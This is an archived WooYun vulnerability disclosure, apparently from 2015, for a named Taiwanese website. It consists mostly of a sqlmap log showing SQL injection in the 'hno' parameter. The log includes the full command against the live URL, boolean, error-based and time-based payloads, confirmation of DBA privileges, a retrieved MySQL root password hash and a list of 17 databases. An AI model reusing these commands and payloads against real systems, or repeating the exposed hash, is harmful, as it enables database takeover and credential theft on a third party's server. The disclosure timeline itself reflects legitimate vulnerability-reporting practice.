乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-23: 细节已通知厂商并且等待厂商处理中 2015-04-28: 厂商已经主动忽略漏洞,细节向公众公开
rt
current user is DBA: True
[root@Hacker~]# Sqlmap Sqlmap sqlmap.py -u "http://www.cingjing.com.tw/sub/pjh.asp?hno=112" --dbs --passwords --current-user --current-db --is-dba sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all appl[*] starting at 11:21:21[11:21:22] [INFO] resuming back-end DBMS 'mysql'[11:21:22] [INFO] testing connection to the target URLsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: hno Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: hno=-3540 OR (1437=1437)# Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: hno=112 AND (SELECT 6763 FROM(SELECT COUNT(*),CONCAT(0x7162687a71,(SELECT (CASE WHEN (6763=6763) THEN 1 ELSE 0 END)),0x7169627671,FLOOR(RAND Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: hno=112 AND SLEEP(5)---[11:21:23] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, ASPback-end DBMS: MySQL 5.0[11:21:23] [INFO] fetching current user[11:21:23] [INFO] retrieved: root@localhostcurrent user: 'root@localhost'[11:21:23] [INFO] fetching current database[11:21:23] [INFO] retrieved: dbforhotelcurrent database: 'dbforhotel'[11:21:23] [INFO] testing if current user is DBA[11:21:23] [INFO] fetching current usercurrent user is DBA: True[11:21:23] [INFO] fetching database users password hashes[11:21:24] [INFO] the SQL query used returns 5 entries[11:21:27] [INFO] retrieved: root[11:21:27] [INFO] retrieved: *8F5193A299A2DAF5042290B9A10E1284C8600CE0[11:21:27] [INFO] retrieved: root[11:21:28] [INFO] retrieved: *8F5193A299A2DAF5042290B9A10E1284C8600CE0[11:21:28] [INFO] retrieved: root[11:21:28] [INFO] retrieved: *8F5193A299A2DAF5042290B9A10E1284C8600CE0[11:21:28] [INFO] retrieved:[11:21:28] [INFO] retrieved:[11:21:29] [INFO] retrieved: root[11:21:29] [INFO] retrieved: *8F5193A299A2DAF5042290B9A10E1284C8600CE0do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] ndatabase management system users password hashes:[*] root [1]: password hash: *8F5193A299A2DAF5042290B9A10E1284C8600CE0[11:21:32] [INFO] fetching database names[11:21:32] [INFO] the SQL query used returns 17 entries[11:21:32] [INFO] resumed: information_schema[11:21:32] [INFO] resumed: cja[11:21:32] [INFO] resumed: db[11:21:32] [INFO] resumed: dbcount[11:21:32] [INFO] resumed: dbforguestbooks[11:21:32] [INFO] resumed: dbforhotel[11:21:32] [INFO] resumed: dbformb[11:21:32] [INFO] resumed: dbformbbooks[11:21:32] [INFO] resumed: dbforpanel[11:21:32] [INFO] resumed: dbforweb[11:21:32] [INFO] resumed: dbforwork[11:21:32] [INFO] resumed: download[11:21:32] [INFO] resumed: imagebooks[11:21:32] [INFO] resumed: mysql[11:21:32] [INFO] resumed: performance_schema[11:21:32] [INFO] resumed: test[11:21:32] [INFO] resumed: useravailable databases [17]:[*] cja[*] db[*] dbcount[*] dbforguestbooks[*] dbforhotel[*] dbformb[*] dbformbbooks[*] dbforpanel[*] dbforweb[*] dbforwork[*] download[*] imagebooks[*] information_schema[*] mysql[*] performance_schema[*] test[*] user[11:21:32] [WARNING] HTTP error codes detected during run:500 (Internal Server Error) - 14 times[11:21:32] [WARNING] cannot properly display Unicode characters inside Windows OS command prompt (http://bugs.python.org/issue1602). All unhandled occura[11:21:32] [INFO] fetched data logged to text files under 'F:\????\INJECT~1\SQLMAP~1.4\Bin\output\www.cingjing.com.tw'
null
危害等级:无影响厂商忽略
忽略时间:2015-04-28 19:00
暂无